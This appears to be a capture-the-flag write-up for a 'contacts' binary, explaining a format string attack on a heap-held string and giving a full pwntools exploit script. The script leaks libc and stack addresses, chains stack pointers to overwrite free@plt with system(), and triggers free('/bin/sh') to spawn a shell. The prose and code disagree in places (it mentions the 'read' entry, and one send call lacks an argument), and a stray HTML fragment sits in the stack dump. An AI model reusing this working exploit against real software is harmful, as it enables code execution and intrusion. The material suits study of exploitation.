I attacked this with just the format string because I thought it would add a bit of a fun challenge.
The vuln prints a user controlled string but the string is in the heap so we can't use the usual put-the-address-you-want-to-write-to-at-the-start trick
Hmm fun times ensure ;)
Here is a gdb-peda dump of the stack just before calling the format string
0000| 0xffa60800 --> 0x9b9a068 ("payload")
0004| 0xffa60804 --> 0x9b9a058 ("1234") <- font="" nbsp="" phone="">->
0008| 0xffa60808 --> 0xf7638dab
0012| 0xffa6080c --> 0xf7790000 --> 0x1a8da8
0016| 0xffa60810 --> 0x0
0020| 0xffa60814 --> 0x0
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0
This is the interesting one
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0
at offset 6 (i.e %6$x) we get a pointer 0xffa60848 to a pointer 0xffa60878 that points to somewhere that's also reachable on the stack.
This is good news.
I can use the first offset/address/thing to change the least significant byte of the second offset/address/thing.
Using that I can change the second offset to the following values:
0xffa60878
0xffa60879
0xffa6087a
0xffa6087b
and each time I do that I can use that offset (18) to write a full word (one byte at a time) of whatever I like to a spot that is also on the stack (0xffa60878: offset 30)
I wrote the address of free@plt (0x0804b014) to offset 30, then using the same ninja-wiggle-byte trick I update the least significant byte of offset 30 which now points to free@plt to get the following values
0x0804b014
0x0804b015
0x0804b016
0x0804b017
and each time I do that I can use that offset (30) to write a full word (one byte at a time) of whatever I like to the plt entry of 'read'
I choose system() (which I can easily leak from the stack)
Create new contact with name and description "/bin/sh", "/bin/sh"
and then remove it, which will call free("/bin/sh") which will actually call system("/bin/sh")
boOM!shell Popped
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
from struct import pack, unpack
from functools import partial
with open('payload', 'w') as f:
	f.write('')
def send(conn, line):
	conn.sendline(line)
	with open('payload', 'a') as f:
		line += '\x0a'
		f.write(line)
conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427")
current_val = 0
def set_cur_val(a):
	global current_val
	gets_to_zero = 256 - current_val # add this to get to 0x00
	gets_to_destination = gets_to_zero + a # add this to get to where you want to be
	inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256
	current_val = a
	if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing
		return "" 
	return "%1$0" + str(inc) + "c" 
def decompose_data(data):
	hexStr = hex(data)[2:][::-1] # little endian
	byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ]
	bytes = [int(x,16) for x in byteList]
	return bytes
def off_write(offset, byte):
	"""
		Use this stack addres offset, to write a byte
	"""
	global current_val
	payload = set_cur_val(byte)
	payload += "%{0}$hhn".format(offset)
	return payload
def write_and_prep_next(offsets, byte, next_lsb):
	"""
		|can't change|  |change LSB|  |full control|
		|____________|__|__________|__|____________|
		|   offset1  |->|  offset2 |->|  offset3   |
		____________________________________________
		use offset1 to change the LSB of offset2
		use offset2 to change all the bytes of offset3
		use offset3 to write wherever
	"""
	global current_val
	current_val = 0
	# write the current value
	payload = off_write(offsets[1], byte)
	# prepare our wiggle ninja pointer for the next format string
	payload +=off_write(offsets[0], next_lsb)
	return payload
def payload_chain(offsets, address, data):
	lsbAddr3 = decompose_data(address)[0]
	bytes = decompose_data(data)
	payload = partial(write_and_prep_next, offsets=offsets)
	next_lsbs = [lsbAddr3 + x for x in [1,2,3,0]]
	arr = [payload(byte=b, next_lsb=l) for b,l in zip(bytes,next_lsbs)]
	return arr
def createContact(name, description):
	send(conn, "1")
	send(conn, name) # name
	send(conn, "1337") # number
	send(conn, str(len(description))) # len of description
	send(conn, description)
def remove_contact(name):
	send(conn, "2")
	send(name)
createContact("Leak", "Libc:%2$p:::Stack:%18$p;;;")
send(conn, "4")
response = conn.recvuntil(';;;')
libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16)
stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16)
system = libc_leak - 20083 -60248
free_plt = 0x0804b014
def setup_chain(offsets, address, data):
	for load in payload_chain(data=data, offsets=offsets, address=address):
		createContact("Hack", load) 
offset3_addr = stack_leak
# 6 fiddles 18 to write free_plt into 30
setup_chain([6,18],  address=offset3_addr, data=free_plt) # create the contacts
# 18 fiddles 30 to write system into free_plt
setup_chain([18,30], address=free_plt, data=system) # create the contacts
createContact("/bin/sh", "/bin/sh")
send(conn, "4") # execute format string
send(conn, "2") # edit 
send(conn, "/bin/sh") # edit AAAA
conn.recvuntil(">>> Name to remove?")
conn.interactive()
